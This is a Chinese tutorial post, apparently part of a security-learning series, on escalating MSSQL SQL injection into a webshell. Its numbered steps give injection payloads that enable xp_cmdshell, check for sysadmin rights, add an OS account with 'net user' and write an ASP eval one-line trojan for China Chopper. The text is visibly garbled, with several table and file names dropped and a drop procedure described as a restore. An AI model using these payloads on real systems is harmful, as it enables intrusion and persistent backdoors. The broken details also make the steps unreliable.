2023年7月26日发(作者:)
⽹络安全-Day24-mssql注⼊获取webshellmssql注⼊获取webshell1、SQL Server启⽤xp_cmdshell组件 1.1、通过SQL语句开启,通过查询分析器,选择Master数据库,然后执⾏以下SQL内容(任何版本的SQL SERVER中都可以使⽤)sp_configure 'show advanced options',1reconfiguregosp_configure 'xp_cmdshell',1reconfigurego3、判断是否有注⼊点 3.1、使⽤单引号判断是否存注⼊点(在第⼆张图中报错)说明存在注⼊点3.2、使⽤ SQL Server数据库默认表判断,⾯返回正常,则说明为MsSQL注⼊点(and exists (select* from sysobjects))。(SQL Server数据库默认存在:sysobjects表)4、注⼊点权限判断 4.1、判断当前⽤户的数据库操作权限,例如“sysadmin”、“db_owner”和“public”权限(and 1=(selectIS_SRVROLEMEMBER('sysadmin')))5、 检测与恢复扩展存储5、 检测与恢复扩展存储 5.1、可查看xp_cmdshell扩展存储过程是否被删除(and 1=(Select count(*) FROM ects Where name ='xp_regread')) 5.2、恢复扩展存储(;exec sp_dropextendedproc 'xp_cmdshell') 5.3、利⽤系统中默认的“”⽂件,⾃动恢复xp_cmdshell(;exec sp_dropextendedproc ‘xp_cmdshell’,’’)6、添加账户 6.1、添加账户(;p_cmdshell 'net user test test /add')数据库需要有SA权限的账户7、查看命令执⾏结果 7.1把连接地址下载到 “”⽂件中8、⼀句话⽊马 8.1、写⼀句⽊马报错到“c:”⽬录下(;p_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:'--) 8.2、使⽤中国菜⼑连接并查询(密码在⼀句话⽊马中有写)
发布者:admin,转转请注明出处:http://www.yc00.com/news/1690342800a335330.html
评论列表(0条)